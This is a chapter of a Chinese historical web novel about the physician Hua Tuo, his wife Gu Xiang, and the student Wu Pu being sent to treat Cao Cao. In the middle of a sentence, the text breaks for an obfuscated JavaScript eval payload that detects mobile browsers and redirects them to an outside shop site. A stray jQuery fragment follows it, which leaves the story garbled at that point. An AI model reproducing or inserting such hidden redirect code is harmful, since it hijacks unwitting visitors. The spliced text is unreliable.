华佗在许昌待了一个月。
顾湘每天早晨醒来的第一件事，就是往枕边看一眼——空的。她已经习惯了每天清晨听见他起身的声音、铜盆里水花的声音、药箱铜扣扣上的声音。现在什么都没有，安静得让人心慌。
她白天看病、教学生、管药圃，把自己忙得脚不沾地，一闲下来脑子里就会冒出各种念头——曹操今天有没有发脾气？华佗的针法还准不准？他吃得好不好？瘦了没有？夜里她常常睡不着，就点着油灯翻华佗留下的手稿，翻到困得睁不开眼才吹灯躺下。
第十一天的时候，她开始在村口等信使。不是每天都去——隔三天去一次，站一会儿，看看土路尽头有没有扬起的尘土，然后转身回去。张玄有一次跟着她去，回来后跟阿香小声说：“师娘站在那里，像一棵被风吹弯了的树。”
第二十三天，信使终于来了。
那天顾湘正在诊室里给一个腹泻的孩子开方子，听到院门外马蹄声，笔尖在竹简上顿出一个墨点。她没有抬头，但耳朵已经竖了起来。脚步声越来越近——不是病人的脚步，病人走路是犹豫的、试探的；这脚步是直奔而来的，带着目的。
“许昌来的信！”一个年轻的声音在门口响起。
顾湘放下笔，站起来，膝盖撞到了案几角，疼得她咧了一下嘴，但她顾不上揉。她走到门口，看见一个穿灰色短褐的年轻人，手里举着一封信。信封上写着“南风亲启”四个字——是华佗的笔迹，端正、沉稳，一笔一划都不急不躁，像他这个人一样。
她接过信，手指在信封上停了一瞬。信纸是温热的，带着信使一路奔波留下的体温。她拆开封口，抽出里面的纸，展开。
纸不大，字也不多，但她读得很慢。
“南风：曹公头风暂缓，但不宜久离。我已与曹公商议，由吴普留许昌接替樊阿，我回谯县。吴普针法虽不及樊阿，但擅长与人周旋，或可应付。勿念。佗字。”
顾湘读了一遍，又读了一遍。第一遍读完了松了一口气——华佗要回来了，他说“勿念”，那就是真的不用太担心。第二遍读的时候，那口气又提了上来——吴普要去许昌了。
她脑海里浮现出吴普那张圆乎乎的脸。吴普今年二十五岁，在几个学生里年纪最大，但胆子最小。他怕打雷，怕黑，怕华佗瞪他，怕顾湘叹气。他的针法学得一般，比不上樊阿的天赋，但他有一个谁都比不上的本事——他会笑。不是那种谄媚的笑，是那种让人看了就生不起气来的、憨厚老实的笑。病人嫌针疼，他嘿嘿一笑，病人就不嚷了；小孩子怕扎针，他做个鬼脸，孩子就破涕为笑。樊阿说过一句话：“普师兄的笑，比麻沸散还管用。”
可现在，他的病人是曹操。
顾湘把信折好，塞进袖子里，转身往吴普的住处走。走过院子的时候，阿香正在晒药材，看她脸色不对，小声问了一句：“先生，怎么了？”顾湘摇了摇头，脚步没停。
吴普住在后院东侧的一间小屋里，门上挂着一串干艾草，是他自己晒了驱蚊虫的。顾湘敲了敲门，里面传来一阵乒乒乓乓的声音——像是有人碰翻了什么东西，然后是急促的脚步声，门从里面被拉开。
吴普站在门口，一只手还在系衣带，头发乱糟糟地披着，脸上有一道睡觉压出来的红印子。他显然是午睡刚醒，眼睛还带着一层水雾。看见是顾湘，他咧嘴笑了，露出一排整齐的白牙。
“师娘？你怎么来了？有病人？”
“没有病人。”顾湘走进屋里，在一张矮凳上坐下来，“你坐，我有话跟你说。”
吴普愣了一下。顾湘的语气不对——平时她说话干脆利落，今天却多了一种很少见的东西：犹豫。他乖乖地在她对面坐下，两只手放在膝盖上，脸上的笑容收了三分。
顾湘把信从袖子里拿出来，递给他。
吴普接过信，低头看。他认出了华佗的字，眉头微微皱了一下，然后往下读。读到“吴普留许昌”五个字的时候，他的手猛地一抖，信纸差点从指间滑落。他抬起头看着顾湘，脸上的血色像是被人一下子抽走了，整张脸白得像那张麻纸。
“师娘，我不行。”
他的声音不大，但嘴唇在抖。不是那种剧烈的抖，是细微的、控制不住的颤动，像冬天站在风口里的人。他的喉结上下滚动了一下，咽了一口唾沫，又说了一遍，声音更小了：“师娘，我真的不行。”
顾湘看着他的脸，心里像被人拧了一下。她想说“你行的”，但她知道这句话现在说出来太轻了。她沉默了片刻，等吴普的呼吸稍微平稳了一些，才开口。
“吴普，你听我说。”
吴普抬起头看着她，眼眶已经开始泛红了。
“你比樊阿会说话，比我会忍气。”顾湘的声音很平，每个字都稳稳当当的，“樊阿的针法比你好，但他有个毛病——曹操一瞪他，他就不会说话了，整个人僵在那里，像个木桩。你在相府待过，你知道曹操是什么脾气。他发怒的时候，你越怕他越怒。樊阿不会笑，他会。笑不是软弱，笑是办法。”
吴普的嘴角抽动了一下，像是在努力维持一个笑容，但没维持住。
“曹操发脾气的时候，樊阿只会沉默，你会笑。笑比沉默管用。”顾湘说这话的时候，自己都觉得有点残忍——她在把一个怕得要死的年轻人往狼窝里推。但她没有别的选择。樊阿已经在许昌熬了一年多，整个人瘦了二十斤，再不换下来就要垮了。华佗不能长期留在许昌，济世堂不能没有他。剩下的学生里，张玄太小，阿香是女孩子，黄婆婆不识字——只有吴普了。
吴普沉默了很久。
窗外的阳光照进来，落在他放在膝盖的手上。那双手不算巧，但很稳，给病人施针的时候从来没有出过差错。顾湘注意到他的指甲剪得很短很整齐——那是她的要求，所有学生在接触病人之前必须剪指甲，吴普做得最认真。
“师娘，”吴普终于开口了，声音带着一种认命般的沙哑，“你这是在夸我吗？”
顾湘愣了一下，然后笑了。这个笑声来得猝不及防，像是紧绷了很久的弦突然松开，发出嗡的一声。她看着吴普那张哭丧着的圆脸，忽然觉得鼻子酸酸的。
“是。”她说，“你的长处是跟人打交道。现在，你的病人是曹操。你去跟他打交道，打好了，天下太平——”
她停住了。
她没有说“打不好”会怎样。
但吴普懂了。
屋子里安静了很久。香炉里的艾草燃尽了，最后一缕青烟在空气中散开，消失不见。
“那我去。”吴普说。
他站起来，走到墙边那个旧木箱前，打开箱盖，开始收拾东西。几件换洗的衣服、一套针灸用的银针、一本他手抄的《金创伤科》——抄得歪歪扭扭，但每一页都翻得起毛边了。他把东西一样一样地放进去，动作很慢，像是在用这种方式让自己接受这个事实。
收拾到一半，他的手停住了。他转过身，看着顾湘，眼眶里的水光终于凝成了泪，但没有掉下来。
“但师娘，你每个月要给我写信。写什么都行——药圃里的当归长多高了，张玄又惹什么祸了，阿香认了几味药了——什么都行。就是让我知道你们还在。”
顾湘的鼻子一酸，眼泪差点夺眶而出。她用力地点了点头，点了好几下，像是在用这个动作保证什么。
“我写。每个月都写。”
吴普走的那天，是一个大晴天。济世堂门口的土路被晒得发白，路边的草叶子卷着边，空气里有青草和泥土被晒热后散发的气味。全村人不知道从哪里得到了消息，都来了。
这不是夸张——真的是全村人。张屠户放下了手里的刀，李铁匠放下了手里的锤，王寡妇抱着她那个刚会走路的孩子，连村口卖豆腐的老陈都推着豆腐车来了。他们站在济世堂门口，站成了一条歪歪扭扭的送别队伍。
没有人组织，没有人通知。就是听说“济世堂的吴先生要去许昌给丞相治病了”，就都来了。
阿香第一个走上前。她今年十四岁，已经长成了一个清秀的少女，说话的声音还带着一点孩子气的清脆。她把一个蓝布包裹塞进吴普手里，包裹不大，但鼓鼓囊囊的，散发着芝麻和烤面的香气。
“吴普师兄，这是芝麻饼。我昨晚烙的，放了糖，你路上吃。”
吴普打开布包看了一眼——饼烙得焦黄，芝麻撒得密密麻麻，还带着灶火的余温。他的喉结动了动，说了声“谢谢”，声音闷闷的。
张玄第二个上来。他把一双新布鞋递到吴普手里。鞋是黑色的粗布面，白色的纳底，针脚密密麻麻，一看就是费了大功夫。张玄的脸红红的，说话的时候不敢看吴普的眼睛。
“普师兄，我纳鞋底的技术不行，这双鞋你凑合穿。许昌路远，别磨破了脚。”
吴普接过鞋，翻过来看了看鞋底——针脚确实不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651188|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太均匀，有的地方密有的地方疏，但每一针都扎得很深。他把鞋抱在怀里，像抱一件珍贵的瓷器。
黄婆婆最后一个。她从人群后面挤过来，手里抱着一个粗陶罐，罐口用麻布和麻绳封得严严实实。她把陶罐塞进吴普怀里，力气大得吴普往后退了一步。
“咸菜！我自己腌的，放了姜和蒜，你到了许昌记得吃。那边的菜不好吃，我听说。”
吴普他低头看着这些东西——布鞋、芝麻饼、咸菜，都是不值钱的东西，但每一件都沉甸甸的，沉得他胳膊发酸，沉得他眼眶发红。
他抬起头，看着面前这些人的脸。张屠户、李铁匠、王寡妇、卖豆腐的老陈——这些人平时来济世堂看病，他总是笑嘻嘻地跟他们打招呼，说“张叔你今天的脸色好多了”“李哥你这伤口不能再碰水了”。他以为这些都是小事，是他们来看病时顺嘴说的一句闲话。他没有想到，他走的时候，他们会来。
“吴先生，到了许昌给丞相扎针，别紧张。”张屠户的大嗓门在人群里炸开，“你扎过那么多人，不差他一个！”
人群里响起一阵笑声。吴普也跟着笑了，笑着笑着，眼眶就红了。
他上了马车。车夫是上次送华佗去许昌的那个老汉，沉默寡言，只是朝他点了点头。
马车开始移动。
吴普回过头，把手举起来，用力地挥了挥，脸上挂着那个标志性的笑容。
马车越走越远。村子变成了一个小点，济世堂的屋檐变成了地平线上的一根线。
吴普放下了手。
他的笑容还挂在脸上，但眼泪已经从眼角滑了下来。他没有擦，就让眼泪顺着脸颊流下去，流到嘴角，咸咸的。他低头看了看膝盖上的芝麻饼，饼还是热的。
他把饼捧在手里，像捧着一个承诺。
华佗回到谯县的那天，顾湘在村口等他。
她一大早就去了，穿着一件洗得发白的青色短衣，头发用木簪挽起来，脸上不施脂粉——和平时一模一样。但张玄注意到，她今天换了一双新鞋，鞋面上没有补丁。
她从早晨站到中午。太阳从东边升到头顶，影子从长变短，又从短变长。她站在村口那棵老槐树下，目光一直望着北边的那条土路。黄婆婆来喊她吃饭，她说“不饿”；阿香来给她送水，她接过去喝了一口，眼睛始终没有离开那条路。
午后申时，路的尽头出现了一个黑点。
顾湘的手猛地攥紧了衣角。黑点越来越近，越来越大，渐渐能看出是一辆马车，灰布车篷，枣红色的马。她的心脏在胸腔里擂鼓一样地跳，跳得她嗓子发紧，跳得她脚底发软。
马车在她面前停下了。
车帘掀开，华佗从车上下来。
他比走的时候瘦了一圈。脸颊凹下去了，颧骨比一个月前更突出，眼下的青黑像是用墨汁涂上去的，洗不掉。他的衣服皱巴巴的，袖口和领口都磨得发白了。但他站得很直，目光很稳，和走的时候一模一样。
“你回来了。”顾湘说。她的声音比自己预想的要平静得多，平静得不像一个等了三十天的人。
“回来了。”
“累不累？”
“还好。”
顾湘看着他。千言万语堵在喉咙里——她想问他许昌的事，想问曹操的头风，想问吴普到了没有，想问他在相府有没有受委屈。但所有的话挤在一起，谁也出不去，最后变成了一句最普通的、最没有分量的话：
“回家吧。”
华佗点了点头，伸出手，握住了她的手。
他的手干燥、温热，比一个月前更瘦了，骨节更突出，但握她的力度没有变。他握着她的手，像握着一个确定无疑的事实——他回来了，她还在这里。
两人并肩走向济世堂。
阿香站在门口，捂着嘴笑。她的眼睛亮晶晶的，笑的时候酒窝深深陷下去，整个人像春天里开的第一朵花。
“阿香，你笑什么？”顾湘问。
“没笑什么。”阿香转身跑进了院子，笑声从院子里传出来，像一串铃铛在风里晃动，清脆、明亮、停不下来。
顾湘和华佗对视了一眼。华佗的嘴角微微弯了一下——幅度很小，但顾湘看见了。那是一个真正的笑容，不是给曹操看的那种不卑不亢的礼貌，而是一个丈夫回到家、看到妻子和院子时的、发自心底的笑。
她没有松手。
他也没有。